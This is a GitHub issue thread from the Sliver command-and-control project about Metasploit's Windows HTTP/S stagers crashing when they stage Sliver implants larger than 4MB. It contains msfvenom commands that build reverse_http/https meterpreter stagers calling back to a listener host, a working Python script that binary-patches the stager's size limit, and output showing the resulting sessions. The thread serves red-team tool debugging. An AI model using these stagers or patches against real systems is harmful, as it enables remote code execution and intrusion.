sliver
sliver copied to clipboard
Metasploit's HTTP/S stagers crash when staging Sliver implant
sliver > version
[*] Client v1.5.16 - 23eef3d15cdc116a1b9936cf392fdade37d93ad4 - linux/amd64
Compiled at 2022-06-11 14:41:53 +1000 AEST
Compiled with go version go1.18.2 linux/amd64
[*] Server v1.5.16 - 23eef3d15cdc116a1b9936cf392fdade37d93ad4 - linux/amd64
Compiled at 2022-06-11 14:41:52 +1000 AEST
Describe the bug
Metasploit's HTTP/S stagers (at least the Windows ones) assume a stage that is <= 4MB ("4MB is more memory than anyone will ever need?")
This was hinted at in https://github.com/BishopFox/sliver/issues/46#issuecomment-488667556
x86: https://github.com/rapid7/metasploit-framework/blob/47fcf541e332e8be7a71ce41738be712a29071ee/lib/msf/core/payload/windows/reverse_http.rb#L454
x64: https://github.com/rapid7/metasploit-framework/blob/47fcf541e332e8be7a71ce41738be712a29071ee/lib/msf/core/payload/windows/x64/reverse_http_x64.rb#L448-L451
Sliver's implants are heftier than 4MB.
This is presumably what causes a HTTP/S stager to crash when it is staging a Sliver implant.
To Reproduce
Follow the steps at https://github.com/BishopFox/sliver/wiki/Stagers to create a HTTP and HTTPS stage-listener
Use msfvenom
to create stagers:
% /opt/metasploit-framework/msfvenom -p windows/x64/meterpreter/reverse_http LHOST=172.18.0.7 LPORT=4448 LURI=test.woff -f exe -o met-http-4448.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 571 bytes
Final size of exe file: 7168 bytes
Saved as: met-http-4448.exe
% /opt/metasploit-framework/msfvenom -p windows/x64/meterpreter/reverse_https LHOST=172.18.0.7 LPORT=4449 LURI=test.woff -f exe -o met-https-4449.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 796 bytes
Final size of exe file: 7168 bytes
Saved as: met-https-4448.exe
Run the stagers. Observe that no session is opened, and Process Explorer shows a flicker of werfault.exe. Assume they've crashed.
Workaround
The following hacky Python script will binary patch an x64 HTTP/S stager. It will ensure that there is only one instance of the bytecode for shl edx, 16
, and will swap it out for shl edx, 20
giving us a whopping 64MB of room.
#!/usr/bin/env python3
import argparse
import sys
"""
>>> pwn.asm("shl edx, 16", arch="amd64")
b'\xc1\xe2\x10'
>>> pwn.asm("shl edx, 20", arch="amd64")
b'\xc1\xe2\x14'
"""
class FileType(argparse.FileType):
def __call__(self, filename):
# Incorporate fix for binary mode stdin (https://github.com/python/cpython/pull/13165)
# the special argument "-" means sys.std{in,out}
if filename == '-':
if 'r' in self._mode:
return sys.stdin.buffer if 'b' in self._mode else sys.stdin
elif any(c in self._mode for c in 'wax'):
return sys.stdout.buffer if 'b' in self._mode else sys.stdout
else:
msg = 'argument "-" with mode %r' % self._mode
raise ValueError(msg)
# all other arguments are used as file names
try:
return open(filename, self._mode, self._bufsize, self._encoding,
self._errors)
except OSError as e:
args = {'filename': filename, 'error': e}
message = "can't open '%(filename)s': %(error)s"
raise argparse.ArgumentTypeError(message % args)
def stderr(m):
sys.stderr.write(m + "\n")
def main():
parser = argparse.ArgumentParser()
parser.add_argument("-o", "--outfile", type=FileType("wb"), default="-",
help="Destination file (defaults to stdout)")
parser.add_argument("infile", type=FileType("rb"), default="-",
help="Metasploit x64 HTTP stager (defaults to stdin)")
args = parser.parse_args()
data: bytes = args.infile.read()
shl_edx_16 = b"\xc1\xe2\x10"
shl_edx_20 = b"\xc1\xe2\x14"
assert len(shl_edx_16) == len(shl_edx_20)
num_instances = data.count(shl_edx_16)
if num_instances != 1:
stderr(f"Expected to find {shl_edx_16} one time. Found it {num_instances} times. Cannot continue.")
return 1
idx = data.find(shl_edx_16)
stderr(f"Found {shl_edx_16} {num_instances} time at offset {idx}")
stderr("Hopefully it's the 'shl edx, 16' we want to spike")
data = data[:idx] + shl_edx_20 + data[idx+len(shl_edx_16):]
args.outfile.write(data)
return 0
if __name__ == "__main__":
sys.exit(main())
Running this against the x64 HTTP and HTTPS stagers causes them to work.
[*] Session ead27aa0 LATIN_COTTAGE - 172.18.0.1:56771 (aerith) - windows/amd64 - Sun, 12 Jun 2022 00:42:02 AEST
[*] Session db979532 SUPERIOR_DREDGER - 172.18.0.1:56782 (aerith) - windows/amd64 - Sun, 12 Jun 2022 00:42:34 AEST
Expected behavior
Implant should be stageable by Metasploit's stagers without needing to patch the stager.
Suggestions
~Perhaps Metasploit would be so kind as to allocate more memory for us? If so, how much memory would we want? The biggest Windows x64 shellcode I've managed to produce is 18MB and we should expect it could grow. We could shoot for 32MB? The x64 stager uses shl
to set it up and so we should keep our ask to a power of 2. If that sounds reasonable I'm happy to try to make it happen.~
~Alternatively, is there a clean solution on Sliver's end? Some kind of double staging? Write our own stager? Or fork Metasploit's? (Is their license compatible?)~
Aha. I just found:
- https://github.com/rapid7/metasploit-framework/pull/16397
- https://github.com/rapid7/metasploit-framework/pull/16521
Looks like @m0rv4i had a go at making the 4MB value configurable (thanks!) and it now looks like R7 folks are making changes to accommodate our use case.
We should wait for R7, and in the meantime this issue might help people who are wondering why they can't stage Sliver over HTTP/S
As you've noticed, it's a known issue. We're waiting on that PR to be merged in MSF to update the Sliver code to support the new HTTP staging protocol.
Also:
We should wait for R7, and in the meantime this issue might help people who are wondering why they can't stage Sliver over HTTP/S
Technically, you can stage Sliver over HTTP(S), we do it all the time, just not with meterpreter stagers at the moment :)
Thanks @rkervella. Is there somewhere known issues are listed that I'm missing? I was tearing my hair out over this one :sweat_smile:
Haha no sorry, I believe the other "undocumented issues" that come to my mind right now are UX issues in the client, nothing as deal-breaking as this one though :)
Technically, you can stage Sliver over HTTP(S), we do it all the time, just not with meterpreter stagers at the moment :)
Noted ;)
Hi there! We wanted to let you know that https://github.com/rapid7/metasploit-framework/pull/16521 has landed and will be in the next Metasploit release!
Thank you @bwatters-r7 <3
https://www.rapid7.com/blog/post/2022/09/16/metasploit-weekly-wrap-up-176/